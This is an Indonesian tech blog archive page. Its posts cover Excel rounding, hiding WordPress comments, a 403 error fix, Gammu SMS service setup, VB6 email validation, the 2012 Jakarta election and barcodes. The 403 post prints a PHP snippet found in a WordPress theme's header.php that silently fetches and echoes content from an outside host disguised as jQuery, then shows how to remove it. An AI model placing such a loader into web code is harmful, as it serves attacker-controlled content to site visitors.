Pembulatan Angka Non Desimal pada Ms Excel

January 13, 2014 Leave a comment

Suatu hari ada yang customer yang bertanya ke Nusa Komputer. pertanyaannya begini ” pada Ms Excel, bagaimana cara menggenapkan angka ke atas atau ke bawah. Misal 12.300 menjadi 12.000, kalau yang 12.500 ke atas menjadi 12.000, dan seterusnya.

Dalam Ms Excel ada rumus yang sangat sederhana untuk menangani masalah ini, silakan perhatikan gambar di bawah ini.

RUMUS EXCEL

1. Letakkan kursor pada kolom B3

2. Ketik “=ROUND(A3;-1)” tanpa tanda petik ya ommm…

3. Copykan rumus ini ke baris di bawahnya, sesuai kebutuhan

4. Masukkan angka-angka yang ingin di bulatkan ke kolom A3 dan seterusnya.

Ok, mas bro, cukup itu saja caranya, semoga berhasil.

Advertisements
Categories: Tip dan Trik Windows

Menghilangkan Form Comment pada WordPress

March 16, 2013 Leave a comment

Form comment atau feed back terkadang tidak diperlukan, apalagi pada page / post statis, namun bagaimana menghilangkannya? Cobalah trik berikut ini :

1. Masuk ke cpanel website Anda dan edit file page.php pada direktori public_html/wp-content/themes/nama_themes

Tambahkan tanda “//” di depan comment_template

Kemudian Simpan

<?php

get_header();

if (have_posts())

{

while (have_posts())

{

art_post();

//comments_template();

}

} else {

art_not_found_msg();

}

get_footer();

1. Login ke blog Anda -> Appearance -> Editor
2. Klik Single.php ->
3. Tambahkan kode // (double slash) pada kode <?php comments_template(); ?>
4. Jadinya seperti ini -> <?php //comments_template(); ?>
5. Klik Save Changes.

Categories: Seputar Komputer

403 Forbidden, Request for bidden by administrative rules

October 24, 2012 2 comments

Mungkin diantara sobat suryotech pernah ada yang menemukan sebuah website yang error dengan pesan “403 Forbidden, Request for bidden by administrative rules” seperti gambar di atas. Pesan tersebut memang muncul dari themes yang digunakan, saya menggunakan thema dari Elegant..

Pesan itu tidak muncul saat ditampilkan di localhost, tapi begitu diupload ke server akan tampil errornya… -(:  Setelah ditelusuri, ternyata ada script yang “menurut saya” perlu disingkirkan, yaitu di file header.php.

yaitu :

<?php wp_head(); ?>

<?php
if(function_exists(‘curl_init’))
{
$url = “http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221;;
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo “$data”;
}
?>
</head>

diubah menjadi :

<?php wp_head(); ?>
</head>

hasilnya seperti terlihat di website KiosBarcode.com

Demikian sedikit trik buat para sobat, semoga bermanfaat

Selamat Datang di Jakarta Pak Jokowi

September 20, 2012 Leave a comment

Akhirnya Jokowi-Ahok unggul 53,75% dibanding saingan beratnya Foke-Nara dalam pemilu kepala daerah DKI Jakarta putaran ke-2 tanggal 20 September 2012. Sementara pesaingnya Fauzi Bowo atau yang akrab dipanggil Foke yang berpasangan dengan Nachrowi Ramli mendapatkan 46,25% suara.

Angka ini memang masih berasal dari hasil Quick Count beberapa lembaga survey seperti LSI. Namun hampir dapat dipastikan bahwa perhitungan suara secara manualpun tidak akan jauh berbeda.

Dengan kemenangan ini DKI Jakarta akan dipimpin oleh orang baru yang saat ini masih menjabat Walikota Solo bersama pasangannya Basuki (Ahok). Persaingan memang sangat ketat pada putaran ke-2, berbagai cara digunakan oleh para kandidat, termasuk black compaign. Yang menarik bagi saya adalah penggunaan media sosial seperti twitter cukup menonjol dalam kampanye mereka, bahkan tidak bisa dibatasi oleh ruang dan waktu (bahkan diluar masa kampanye.,)

Besar harapan masyarakat dengan terpilihnya gubernur baru untuk membenahi Jakarta yang macet, banjir, kebakaran dan masalah-masalah sosial lainnya. Akhirnya kita ucapkan selamat bertugas untuk Jokowi dan Ahok semoga Jakarta menjadi lebih baik di tangan Anda.

Categories: Umum

Error saat install Gammu di Windows Service

April 10, 2012 21 comments

Hari ini (terpaksa) dapat pengalaman baru ketika install aplikasi SMSBlast di Windows 7 Ultimate. Pada saat install gammu ke Windows Services selalu gagal, kira-kira errornya begini error installing gammusmsd

service error 5 access is denied bla..blaa.. bla..

Gammu adalah sebuah engine open source untuk mengirim dan menerima SMS. Saya membuat aplikasi SMS Blast dengan menggunakan engine ini karena open source sehingga dapat dimodifikasi sesuai dengan kebutuhan. Berdasarkan pengujian Gammu cukup handal dan cepat dalam mengirim SMS hingga ribuan data.

KiosBarcode.Com

Kembali ke masalah tadi, setelah bertanya sana-sini di google, Alhamdulillah akhirnya dapat pencerahan juga, nah barangkali ada yang mengalami hal yang sama berikut saya share caranya..

1. Klik kanan file yang akan di jalankan di service yaitu gammu-smsd (file tersebut saya simpan di c:\gammu).

2. Pilih properties, kemudian klik tab Compatibility

3. Klik Change setting for all users

4. Cek di depan Run this program is an administrator

5. Klik Apply dan klik OK

Berikut gambar dan tahapannya…

KiosBarcode.Com

Tahapan selanjutnya Anda tinggal menginstall gammu di Windows Service agar pengiriman SMS dapat dilakukan, caranya dari Command Prompt Dos masuk ke direktori gammu diinstall kemudian ketik :

C:\gammu\gammu-smsd -c smsdrc -i

Jika semua setting yang ada pada gammurc dan smsdrc sudah betul maka gammu sudah ada di windows service, tinggal di run secara otomatis sehingga pengiriman SMS dapat dilakukan kapan saja.

Ok, selamat bereksplorasi…

 

 

 

 

Membuat validasi email pada visual basic

March 2, 2012 Leave a comment

Masih tentang Visual Basic 6.0, kali ini saya ingin  sharing tentang bagaimana membuat validasi untuk sebuah textbox untuk input email, kita dapat menggunakan fungsi sebagai berikut :

Buatlah fungsi seperti ini :

Public Function IsEmail(ByVal Str As String) As Boolean
Set r = CreateObject(“VBScript.RegExp”)
r.IgnoreCase = True
r.Pattern = “^[\w-\.]+@\w+\.\w+$”
IsEmail = r.test(Str)
End Function

Kemudian buatlah sebuah textbox dan beri nama txtEmail, masukkan kode berikut ini pada source code

Private Sub txtEmail_Keypress(KeyAscii As Integer)
KeyAscii = Asc(UCase$(Chr$(KeyAscii)))
If KeyAscii = 13 Then
   If txtEmail = “” Then
      txtEmail.SetFocus
   ElseIf IsEmail(txtEmail) = False Then
      txtEmail.SelStart = Len(txtEmail)
      txtEmail.SetFocus
   Else
      SendKeys vbTab
   End If
End If
End Sub

Ok sobat, semoga bermanfaat..

 

Apakah Barcode Itu?

February 29, 2012 2 comments

Barcode adalah suatu kode yang berbentuk sekumpulan garis berbentuk batang (bar) yang memiliki ketebalan yang berbeda. Setiap garis melambangkan angka atau huruf yang telah diatur sedemikian rupa, yang dapat dibaca menggunakan sebuah alat (barcode reader). Kode baris digambarkan dalam bentuk bar dan spasi berwarna hitam tebal dan tipis yang disusun berderet secara horisontal. Untuk membantu pembacaan manual biasanya dicantumkan juga angka-angka atau huruf di bawah kode baris tersebut.

Saat ini Barcode terdiri dari 2 jenis yaitu:  Linear Code (Barcode 1 Dimensi) dan Matrix Code ( Barcode 2 Dimensi). Barcode 1 Demensi bisa kita lihat di produk-produk yang biasa kita gunakan di supermarket atau swalayan. Kita dapat melihat manfaat dari Barcode dapat meningkatkan kecepatan dalam melayanai pelanggan dan meningkatkan akurasi data produk yang di input oleh kasir. Demikian juga untuk identifikasi penumpang di bandara, rumah sakit maupun pergudangan.

Barcode 1 Demensi (Linier barcode) terdiri dari :

  • Code 39 (code 3 of 9), adalah sebuah barcode alphanumeric (Full ASCII) yang memiliki panjang baris yang bervariasi. Implementasi barcode jenis ini adalah untuk inventory, asset tracking dan tanda pengenal identitas. Read more…